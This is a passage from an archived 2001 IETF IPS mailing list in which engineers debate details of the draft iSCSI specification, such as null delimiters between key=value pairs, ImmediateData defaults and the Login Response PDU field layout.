"suffixed keys" to "build the value" use a named key coding (as in "0Nname" in a value means that you have to use later get=value to get a "binary response" containing the whole binary object) I think that option 2 (limited to a 3 digit prefix?) covers well what we need and offers some extension space and option 1 is probably good enough for certificates. Comments? Julo From owner-ips@ece.cmu.edu Tue Sep 18 14:18:44 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA28291 for ; Tue, 18 Sep 2001 14:18:44 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8IG5JU07112 for ips-outgoing; Tue, 18 Sep 2001 12:05:19 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from bramg1.net.external.hp.com (bramg1.net.external.hp.com [192.6.126.73]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8IG4kP07063 for ; Tue, 18 Sep 2001 12:04:46 -0400 (EDT) Received: from quasit.br.itc.hp.com (quasit.br.itc.hp.com [15.145.8.135]) by bramg1.net.external.hp.com (Postfix) with ESMTP id A443212E; Tue, 18 Sep 2001 18:05:20 +0200 (METDST) Received: from fowey.BR.ITC.HP.COM (fowey.br.itc.hp.com [15.145.8.186]) by quasit.br.itc.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit6.0.6 OpenMail) with SMTP id RAA23464; Tue, 18 Sep 2001 17:04:42 +0100 (BST) Received: from 15.145.8.186 by fowey.BR.ITC.HP.COM (InterScan E-Mail VirusWall NT); Tue, 18 Sep 2001 17:03:38 +0100 (GMT Daylight Time) Received: by fowey.br.itc.hp.com with Internet Mail Service (5.5.2653.19) id ; Tue, 18 Sep 2001 17:03:38 +0100 Message-ID: <0B9A57FF1D57D411B47500D0B73E5CC101E7A8F4@dickens.bri.hp.com> From: "BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2)" To: ips@ece.cmu.edu, "'Julian Satran'" Subject: ImmediateData Text Parameter Negotiation Date: Tue, 18 Sep 2001 17:04:39 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk Julian, Appendix D24 (ImmediateData) does not describe the result of negotiation if the two sides differ. I presume that since the default is "yes", then only if both sides agree to "no" is immediate data turned off. Please can this be stated. Additionally, I feel that the default value for ImmediateData should be "no". Similarly, there is no statement on MaxOutstandingR2T. Presumable the minimum is selected. Matthew Burbridge Senior Development Engineer NIS-Bristol Hewlett Packard Telnet: 312 7010 E-mail: matthewb@bri.hp.com From owner-ips@ece.cmu.edu Tue Sep 18 14:24:21 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA28407 for ; Tue, 18 Sep 2001 14:24:19 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8IGD0n07652 for ips-outgoing; Tue, 18 Sep 2001 12:13:00 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from esply02.cnt.com (mailhost.cnt.com [139.93.128.21]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8IGCvP07645 for ; Tue, 18 Sep 2001 12:12:57 -0400 (EDT) Received: by esply02.cnt.com with Internet Mail Service (5.5.2653.19) id ; Tue, 18 Sep 2001 11:12:51 -0500 Message-ID: <3C7122FAF06DD5118ED600500473364826310B@esply01.cnt.com> From: Michael Schoberg To: "'ips@ece.cmu.edu'" , "'Julian_Satran@il.ibm.com'" Subject: iSCSI: SNACK R2T/Data Date: Tue, 18 Sep 2001 11:09:51 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk Old subject, but I couldn't find any discussion on this: When does the target know it no longer needs to hold R2T & Data PDUs? StatSN responses are acknowledged through the ExpStatSN field received in future I->T requests. What's the acknowledgement method for R2T & Data PDUs? Is it tied to the original request and acknowledged through the ExpStatSN acknowledgment of the request's response? Thanks. From owner-ips@ece.cmu.edu Tue Sep 18 14:33:47 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA28631 for ; Tue, 18 Sep 2001 14:33:46 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8IGdx509461 for ips-outgoing; Tue, 18 Sep 2001 12:39:59 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from best.eurologic.com ([193.120.246.5]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8IGdtP09452 for ; Tue, 18 Sep 2001 12:39:56 -0400 (EDT) Received: from wombat (wombat [192.168.7.41]) by best.eurologic.com (8.9.3+Sun/8.9.3) with SMTP id RAA19292; Tue, 18 Sep 2001 17:37:50 +0100 (BST) Message-ID: <012501c14060$81e0dc80$2907a8c0@wombat> From: "Ken Sandars" To: , Subject: Immediate Logins Date: Tue, 18 Sep 2001 17:39:37 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6700 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Hi Julian, I cannot see any reason to special-case the first LOGIN command of a session to be non-immediate. From the target's perpective, there is no session state in existence for that initial LOGIN, so there isn't even a CmdSN-based session queue to put it on! If the spec mandated this initial LOGIN to be immediate it can be executed without needing to handle the specific case of a sequenced command when there is no session to sequence it on. I recommend that all LOGIN phase pdus be immediate. Please. Thanks, Ken Sandars ksandars@eurologic.com Eurologic Systems +44 117 930 9616 From owner-ips@ece.cmu.edu Tue Sep 18 15:45:24 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA00696 for ; Tue, 18 Sep 2001 15:45:19 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8II6QJ15770 for ips-outgoing; Tue, 18 Sep 2001 14:06:26 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from clyde.stargateip.com ([209.237.5.66]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8II6NP15765 for ; Tue, 18 Sep 2001 14:06:23 -0400 (EDT) Received: from bluestar (dhcp-101.stargateip.com [10.10.5.101]) by clyde.stargateip.com (8.9.1/8.9.1) with SMTP id LAA04907; Tue, 18 Sep 2001 11:00:11 -0700 (PDT) Reply-To: From: "Dev" To: "CONGDON,PAUL \(HP-Roseville,ex1\)" , "'Steve Senum'" , "ietf-ips" Subject: RE: ISCSI: question about text command data Date: Tue, 18 Sep 2001 11:12:12 -0700 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) In-Reply-To: <499DC368E25AD411B3F100902740AD650777903D@xrose03.rose.hp.com> Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Yes. The spec should specifically state that there has to 'exactly one NULL character'. Deva Adaptec -----Original Message----- From: owner-ips@ece.cmu.edu [mailto:owner-ips@ece.cmu.edu]On Behalf Of CONGDON,PAUL (HP-Roseville,ex1) Sent: Tuesday, September 18, 2001 8:11 AM To: 'Steve Senum'; ietf-ips Subject: RE: ISCSI: question about text command data I disagree. There is no reason why the spec shouldn't be very specific about what behavior to take. In the interest of simplicity, the spec should state 'exactly one null character' as Mark and Buck request. If people follow the spec, there won't be a need to invoke costly error response. Paul -----Original Message----- From: Steve Senum [mailto:ssenum@cisco.com] Sent: Monday, September 17, 2001 8:27 AM To: ietf-ips Subject: Re: ISCSI: question about text command data Mark, I agree with Julian on this issue. Steve Senum Mark Bakke wrote: > > Julian- > > Wouldn't it be simpler to just say "exactly one". The last > part of Buck's question mentioned that he didn't see why > anyone would want more than one, and nobody responded saying > they did. > > Thanks, > > Mark > > Julian Satran wrote: > > > > I've changed it the text to "at least one" to avoid errors hard to list. > > > > Julo > > > > "Buck Landry" @ece.cmu.edu on 13-09-2001 01:25:36 > > > > Please respond to "Buck Landry" > > > > Sent by: owner-ips@ece.cmu.edu > > > > To: > > cc: > > Subject: ISCSI: question about text command data > > > > I have a small question about what separates the "key=value" pairs in > > the data segment of an iscsi text command. On pg. 78 of the iscsi v7-90 > > draft (2.10.5), it states: > > > > >>> > > Every key=value pair (including the last or only pair) MUST be followed > > by null (0x00) delimiter. > > <<< > > > > The question: is it legal to have *more* than one null char between > > key=value pairs? (no, I don't know why anybody would particularly want > > to do this.) > > > > Thanks, > > buck > > -- > Mark A. Bakke > Cisco Systems > mbakke@cisco.com > 763.398.1054 From owner-ips@ece.cmu.edu Tue Sep 18 15:52:38 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA00883 for ; Tue, 18 Sep 2001 15:52:37 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8IHVSm13112 for ips-outgoing; Tue, 18 Sep 2001 13:31:28 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel11.hp.com (palrel11.hp.com [156.153.255.246]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8IHVPP13105 for ; Tue, 18 Sep 2001 13:31:26 -0400 (EDT) Received: from hpcuhe.cup.hp.com (hpcuhe.cup.hp.com [15.0.80.203]) by palrel11.hp.com (Postfix) with ESMTP id B90F71F8A8 for ; Tue, 18 Sep 2001 09:07:53 -0700 (PDT) Received: from cup.hp.com (santoshr@hpindhhm.cup.hp.com [15.8.80.197]) by hpcuhe.cup.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) with ESMTP id JAA16883 for ; Tue, 18 Sep 2001 09:07:49 -0700 (PDT) Message-ID: <3BA772CE.EB5103C4@cup.hp.com> Date: Tue, 18 Sep 2001 09:14:07 -0700 From: Santosh Rao Organization: Hewlett Packard, Cupertino. X-Mailer: Mozilla 4.7 [en] (X11; U; HP-UX B.11.00 9000/778) X-Accept-Language: en MIME-Version: 1.0 To: ips@ece.cmu.edu Subject: Re: iSCSI PDU Formats References: Content-Type: multipart/mixed; boundary="------------E45E7CB16A9D02738B6C5539" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multi-part message in MIME format. --------------E45E7CB16A9D02738B6C5539 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Julian, I agree with the proposal made by Bob Russell to seperate the (T, C, CNxSG) byte field from the current overlay with the status detail. This overlay needlessly complicates coding, structure layout and debugging. There are plenty of reserved fields available that can be used, instead of having to overlay (T, C, CNxSG) field with the status detail. Using byte 1 in the login request & response PDUs seems a more natural fit since that byte has been used for bit fields in all other PDUs [and was previously used for the F bit in the login cmd/rsp PDUs]. Regards, Santosh "Robert D. Russell" wrote: > Julian: > > Please see further comments below: > > > Date: Sat, 15 Sep 2001 05:05:28 +0300 > > From: Julian Satran > > To: Robert D. Russell > > Subject: RE: iSCSI: PDU formats > > > > > > 3. In draft 7-90 the Login and Login Response PDUs have been modified > > with the introduction of the T, C, and CNxSG fields in byte 37. > > However, in the Login Response PDU these fields overlay the > > Status-Detail field, which is also in byte 37. Although the way > > to interpret this field is uniquely determined by the context, > > it is context dependent and I believe that this will lead to a lot > > of needless errors in coding, and that it also makes debugging more > > difficult, because the use of this byte changes during the login phase > > exchanges. This means that you can't always look at it the same way. > > To avoid this overlay, would you please move the new fields > > (T, C, and CNxSG) to one of the currently unused bytes. Many bytes > > (2, 10-11, 20-23, 38-39, 40-47) are currently unused in both of these > > PDUs, so there would appear to be no urgent need to overlay the new > > fields on top of an existing field in order to save space. > > > > +++ The fields you are referring to are to be used only for status class 0 > > they just detail the detail :-) and enable status to be maintained within > > the 2 bytes +++ > > > > I would still argue that these bits are different than just "detailing the > detail", because in all cases when Status-Class is not zero, Status-Detail > is a numerical enumeration, not a set of independent bit fields each of which > has a separate interpretation. Interpreting bits is a fundamentally different > way of looking at this field than as "just a number", and makes it impossible > to format a single "template" by which this PDU can always be viewed, > regardless of the meaning of the fields. Such a template is extremely useful > in debugging and testing tools when there will be bugs (such as not using > a field or fields correctly), so that the interpretation of which overlay > to use may not be obvious or correct. Not being able to define a single > template will needlessly complicate these tools and make them less useful. > > There are other places in the standard where fields in a single PDU have > different meanings -- for example, the 4-byte field starting at byte 32 in > the Task Management Request PDU means either RefCmdSn or ExpDataSn, > depending on the task. However, in all these other cases the format of the > field is always the same, usually a number, and thus can always be displayed > as such by a simple debugging tool. This is the only place in the standard > that I am aware of where the different meanings require different formats and > is thus the only place where a single viewing template cannot be defined. > > This is further exemplified by the fact that your diagram on page 87 of > draft 7-92 is the only one in the standard that has a 3-line overlay for a > field in a PDU. I believe this diagram on page 87 succinctly illustrates > the problem people will have during debugging and coding. > > As pointed out by Sanjay Goyal in his e-mail of 12-Sept, it would seem to > make more sense to move the (T, C, and CNxSG) fields to byte 1, which is > currently unused in both Login and Login Response PDUs, but which is > typically analyzed as different bit fields in many other PDUs. If byte > 1 is not acceptable, there are plenty of other unused bytes in both > the Login and Login Response PDUs that could be used -- I do not see > any benefit to "enable status to be maintained within the 2 bytes" if > doing so complicates the coding and debugging tasks. > > It is already the case that fields in the Login Response, such as StatSn, > ExpCmdSN and MaxCmdSN, are valid only when Status-Class is 0, so if the > (T, C, and CNxSG) fields were moved to byte 1 (or some other byte) they > would also be valid only when Status-Class is 0, and in this case the only > acceptable value for Status-Detail would also be 0. > > Thank you for your reconsideration, > > Bob Russell > InterOperability Lab > University of New Hampshire > rdr@iol.unh.edu > 603-862-3774 --------------E45E7CB16A9D02738B6C5539 Content-Type: text/x-vcard; charset=us-ascii; name="santoshr.vcf" Content-Description: Card for Santosh Rao Content-Disposition: attachment; filename="santoshr.vcf" Content-Transfer-Encoding: 7bit begin:vcard n:Rao;Santosh tel;work:408-447-3751 x-mozilla-html:FALSE org:Hewlett Packard, Cupertino.;SISL adr:;;19420, Homestead Road, M\S 43LN, ;Cupertino.;CA.;95014.;USA. version:2.1 email;internet:santoshr@cup.hp.com title:Software Design Engineer x-mozilla-cpt:;21088 fn:Santosh Rao end:vcard --------------E45E7CB16A9D02738B6C5539-- From owner-ips@ece.cmu.edu Tue Sep 18 16:48:34 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA01990 for ; Tue, 18 Sep 2001 16:48:21 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8IITgZ17615 for ips-outgoing; Tue, 18 Sep 2001 14:29:42 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel1.hp.com (palrel1.hp.com [156.153.255.242]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8IITbP17609 for ; Tue, 18 Sep 2001 14:29:38 -0400 (EDT) Received: from hpcuhe.cup.hp.com (hpcuhe.cup.hp.com [15.0.80.203]) by palrel1.hp.com (Postfix) with ESMTP id E36D0934 for ; Tue, 18 Sep 2001 11:29:36 -0700 (PDT) Received: from cup.hp.com (santoshr@hpindhhm.cup.hp.com [15.8.80.197]) by hpcuhe.cup.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) with ESMTP id LAA03918 for ; Tue, 18 Sep 2001 11:29:32 -0700 (PDT) Message-ID: <3BA79405.507B4E41@cup.hp.com> Date: Tue, 18 Sep 2001 11:35:49 -0700 From: Santosh Rao Organization: Hewlett Packard, Cupertino. X-Mailer: Mozilla 4.7 [en] (X11; U; HP-UX B.11.00 9000/778) X-Accept-Language: en MIME-Version: 1.0 To: ietf-ips Subject: Re: ISCSI: question about text command data References: Content-Type: multipart/mixed; boundary="------------66B0D3475AC8F3EB6E65F16A" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multi-part message in MIME format. --------------66B0D3475AC8F3EB6E65F16A Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit I agree with Paul, Mark, Dev that the spec must require that login "key=value" pairs MUST be seperated by EXACTLY 1 null (0x00) delimiter. Failure to comply results in the target detecting a format error on the login PDU. - Santosh Dev wrote: > Yes. The spec should specifically state that there has to 'exactly one NULL > character'. > > Deva > Adaptec > > -----Original Message----- > From: owner-ips@ece.cmu.edu [mailto:owner-ips@ece.cmu.edu]On Behalf Of > CONGDON,PAUL (HP-Roseville,ex1) > Sent: Tuesday, September 18, 2001 8:11 AM > To: 'Steve Senum'; ietf-ips > Subject: RE: ISCSI: question about text command data > > I disagree. There is no reason why the spec shouldn't be very specific > about what behavior to take. In the interest of simplicity, the spec should > state 'exactly one null character' as Mark and Buck request. If people > follow the spec, there won't be a need to invoke costly error response. > > Paul > > -----Original Message----- > From: Steve Senum [mailto:ssenum@cisco.com] > Sent: Monday, September 17, 2001 8:27 AM > To: ietf-ips > Subject: Re: ISCSI: question about text command data > > Mark, > > I agree with Julian on this issue. > > Steve Senum > > Mark Bakke wrote: > > > > Julian- > > > > Wouldn't it be simpler to just say "exactly one". The last > > part of Buck's question mentioned that he didn't see why > > anyone would want more than one, and nobody responded saying > > they did. > > > > Thanks, > > > > Mark > > > > Julian Satran wrote: > > > > > > I've changed it the text to "at least one" to avoid errors hard to list. > > > > > > Julo > > > > > > "Buck Landry" @ece.cmu.edu on 13-09-2001 > 01:25:36 > > > > > > Please respond to "Buck Landry" > > > > > > Sent by: owner-ips@ece.cmu.edu > > > > > > To: > > > cc: > > > Subject: ISCSI: question about text command data > > > > > > I have a small question about what separates the "key=value" pairs in > > > the data segment of an iscsi text command. On pg. 78 of the iscsi v7-90 > > > draft (2.10.5), it states: > > > > > > >>> > > > Every key=value pair (including the last or only pair) MUST be followed > > > by null (0x00) delimiter. > > > <<< > > > > > > The question: is it legal to have *more* than one null char between > > > key=value pairs? (no, I don't know why anybody would particularly want > > > to do this.) > > > > > > Thanks, > > > buck > > > > -- > > Mark A. Bakke > > Cisco Systems > > mbakke@cisco.com > > 763.398.1054 --------------66B0D3475AC8F3EB6E65F16A Content-Type: text/x-vcard; charset=us-ascii; name="santoshr.vcf" Content-Description: Card for Santosh Rao Content-Disposition: attachment; filename="santoshr.vcf" Content-Transfer-Encoding: 7bit begin:vcard n:Rao;Santosh tel;work:408-447-3751 x-mozilla-html:FALSE org:Hewlett Packard, Cupertino.;SISL adr:;;19420, Homestead Road, M\S 43LN, ;Cupertino.;CA.;95014.;USA. version:2.1 email;internet:santoshr@cup.hp.com title:Software Design Engineer x-mozilla-cpt:;21088 fn:Santosh Rao end:vcard --------------66B0D3475AC8F3EB6E65F16A-- From owner-ips@ece.cmu.edu Tue Sep 18 16:52:04 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA02059 for ; Tue, 18 Sep 2001 16:51:58 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8IIMuq17108 for ips-outgoing; Tue, 18 Sep 2001 14:22:56 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from zoetermeer.tripace.com (eth0.81033r2ce.rtd.skybernet.net [217.17.136.66]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8IIMpP17091 for ; Tue, 18 Sep 2001 14:22:54 -0400 (EDT) Received: from SANJEEV ([169.254.1.5]) by zoetermeer.tripace.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id T157W81L; Tue, 18 Sep 2001 20:23:47 +0200 Message-ID: <00cc01c1406f$f26ef4f0$0501fea9@SANJEEV> From: "Sanjeev Bhagat \(TRIPACE/Zoetermeer\)" To: "IPS Refelctor" , "T10 Reflector" Subject: iSCSI:SCSI Mode Pages Date: Tue, 18 Sep 2001 20:30:03 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6700 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit I have a query regarding section 3.1.2 EMDP mode parameter. Current text says 3.1.2 E - Enable Modify Data Pointers Bit (EMDP) ...... If EMDP is set to 1, Data PDU sequences may be transferred in any order. If EMDP is set to 0, Data PDU sequences MUST be transferred using continuously increasing offsets. Does this line mean that if EMDP=1 the out of order received data PDUs by the iSCSI target be transferred directly to the actual SCSI LU (say a HDD) or does it mean that the if EMDP=1 the out of order received data PDUs be stored in some external buffer provided by SCSI LU and re-assembled and ordered there before transferring it into the SCSI LU. Regards, Sanjeev From owner-ips@ece.cmu.edu Tue Sep 18 17:44:09 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA02980 for ; Tue, 18 Sep 2001 17:44:04 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8IJJ2V21208 for ips-outgoing; Tue, 18 Sep 2001 15:19:02 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel13.hp.com (palrel13.hp.com [156.153.255.238]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8IJIxP21203 for ; Tue, 18 Sep 2001 15:18:59 -0400 (EDT) Received: from core.rose.hp.com (core.rose.hp.com [15.43.208.100]) by palrel13.hp.com (Postfix) with ESMTP id A83BB1FACB; Tue, 18 Sep 2001 12:18:53 -0700 (PDT) Received: from rose.hp.com (hpsil34.rose.hp.com [15.43.211.225]) by core.rose.hp.com with ESMTP (8.9.3 (PHNE_22672)/8.8.6 SMKit7.02) id MAA14106; Tue, 18 Sep 2001 12:20:14 -0700 (PDT) Message-Id: <200109181920.MAA14106@core.rose.hp.com> Date: Tue, 18 Sep 2001 12:30:12 -0700 From: "Mallikarjun C." Reply-To: cbm@rose.hp.com Organization: Hewlett-Packard, Roseville X-Mailer: Mozilla 4.73 [en] (X11; U; HP-UX B.10.20 9000/715) X-Accept-Language: en MIME-Version: 1.0 To: "BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2)" Cc: ips@ece.cmu.edu Subject: Re:iSCSI: ImmediateData Text Parameter Negotiation References: <0B9A57FF1D57D411B47500D0B73E5CC101E7A8F4@dickens.bri.hp.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Matthew, I completely agree that the default should be "no"! I pointed this out sometime ago myself. Apart from what you point out, the default setting for "ImmediateData" seems to be at variance with the conservative default for "InitialR2T" ("yes"). Julian, could you please consider this request? Regards. -- Mallikarjun Mallikarjun Chadalapaka Networked Storage Architecture Network Storage Solutions Organization MS 5668 Hewlett-Packard, Roseville. cbm@rose.hp.com "BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2)" wrote: > > Julian, > > Appendix D24 (ImmediateData) does not describe the result of negotiation if > the two sides differ. I presume that since the default is "yes", then only > if both sides agree to "no" is immediate data turned off. Please can this > be stated. > > Additionally, I feel that the default value for ImmediateData should be > "no". > > Similarly, there is no statement on MaxOutstandingR2T. Presumable the > minimum is selected. > > Matthew Burbridge > Senior Development Engineer > NIS-Bristol > Hewlett Packard > Telnet: 312 7010 > E-mail: matthewb@bri.hp.com > From owner-ips@ece.cmu.edu Tue Sep 18 17:50:28 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA03115 for ; Tue, 18 Sep 2001 17:50:28 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8IJRPT21927 for ips-outgoing; Tue, 18 Sep 2001 15:27:25 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from va2mc.ummailbox.net (va2mc.ummailbox.net [64.210.247.16]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8IJRLP21921 for ; Tue, 18 Sep 2001 15:27:22 -0400 (EDT) Received: from hqmailweb.COMMSTOR.Crossroads.com (HQMailWeb.Crossroads.com [63.237.99.250:25]) by va2mc.ummailbox.net with ESMTP id V0918-1526-3ec107; Tue, 18 Sep 2001 19:26:44 GMT Received: from HQMAILNODE1.COMMSTOR.Crossroads.com ([10.5.1.42]) by hqmailweb.COMMSTOR.Crossroads.com with Microsoft SMTPSVC(5.0.2195.2966); Tue, 18 Sep 2001 14:26:33 -0500 X-MimeOLE: Produced By Microsoft Exchange V6.0.4712.0 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Disposition-Notification-To: "Lee Xing" Subject: RE: ISCSI: question about text command data Date: Tue, 18 Sep 2001 14:23:26 -0500 Message-ID: Thread-Topic: ISCSI: question about text command data Thread-Index: AcFAdDvzHCuacHJCS7K+hawd3QYQuwAAJG9w From: "Lee Xing" To: X-OriginalArrivalTime: 18 Sep 2001 19:26:33.0335 (UTC) FILETIME=[D34C1870:01C14077] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ece.cmu.edu id f8IJRNP21924 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 8bit Agree with Santosh, Paul, Mark and Dev. The statement on page 64 of v.07 "Every key=value pair (including the last or only pair) MUST be followed by null (0x00) delimiter." implies **one** null should be used. It's better to explicitly address that EXACTLY one null MUST be used to separate "key=value" pairs. Also, using two nulls (0x00) after the last or only "key=value" pair is handy for programmers. Thanks. Lee Crossroads Systems, Inc. -----Original Message----- From: Santosh Rao [mailto:santoshr@cup.hp.com] Sent: Tuesday, September 18, 2001 1:36 PM To: ietf-ips Subject: Re: ISCSI: question about text command data I agree with Paul, Mark, Dev that the spec must require that login "key=value" pairs MUST be seperated by EXACTLY 1 null (0x00) delimiter. Failure to comply results in the target detecting a format error on the login PDU. - Santosh Dev wrote: > Yes. The spec should specifically state that there has to 'exactly one NULL > character'. > > Deva > Adaptec > > -----Original Message----- > From: owner-ips@ece.cmu.edu [mailto:owner-ips@ece.cmu.edu]On Behalf Of > CONGDON,PAUL (HP-Roseville,ex1) > Sent: Tuesday, September 18, 2001 8:11 AM > To: 'Steve Senum'; ietf-ips > Subject: RE: ISCSI: question about text command data > > I disagree. There is no reason why the spec shouldn't be very specific > about what behavior to take. In the interest of simplicity, the spec should > state 'exactly one null character' as Mark and Buck request. If people > follow the spec, there won't be a need to invoke costly error response. > > Paul > > -----Original Message----- > From: Steve Senum [mailto:ssenum@cisco.com] > Sent: Monday, September 17, 2001 8:27 AM > To: ietf-ips > Subject: Re: ISCSI: question about text command data > > Mark, > > I agree with Julian on this issue. > > Steve Senum > > Mark Bakke wrote: > > > > Julian- > > > > Wouldn't it be simpler to just say "exactly one". The last > > part of Buck's question mentioned that he didn't see why > > anyone would want more than one, and nobody responded saying > > they did. > > > > Thanks, > > > > Mark > > > > Julian Satran wrote: > > > > > > I've changed it the text to "at least one" to avoid errors hard to list. > > > > > > Julo > > > > > > "Buck Landry" @ece.cmu.edu on 13-09-2001 > 01:25:36 > > > > > > Please respond to "Buck Landry" > > > > > > Sent by: owner-ips@ece.cmu.edu > > > > > > To: > > > cc: > > > Subject: ISCSI: question about text command data > > > > > > I have a small question about what separates the "key=value" pairs in > > > the data segment of an iscsi text command. On pg. 78 of the iscsi v7-90 > > > draft (2.10.5), it states: > > > > > > >>> > > > Every key=value pair (including the last or only pair) MUST be followed > > > by null (0x00) delimiter. > > > <<< > > > > > > The question: is it legal to have *more* than one null char between > > > key=value pairs? (no, I don't know why anybody would particularly want > > > to do this.) > > > > > > Thanks, > > > buck > > > > -- > > Mark A. Bakke > > Cisco Systems > > mbakke@cisco.com > > 763.398.1054 From owner-ips@ece.cmu.edu Tue Sep 18 17:53:53 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA03189 for ; Tue, 18 Sep 2001 17:53:53 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8IJk5r23519 for ips-outgoing; Tue, 18 Sep 2001 15:46:05 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mail.brocade.com (asbestos.brocade.com [63.121.140.244]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8IJEuP20849 for ; Tue, 18 Sep 2001 15:14:56 -0400 (EDT) Received: from hq-ex-c2.brocade.com (hq-ex-c2 [192.168.126.35]) by mail.brocade.com (8.8.8+Sun/8.8.8) with ESMTP id MAA23934; Tue, 18 Sep 2001 12:14:23 -0700 (PDT) Received: by hq-ex-c2.brocade.com with Internet Mail Service (5.5.2653.19) id 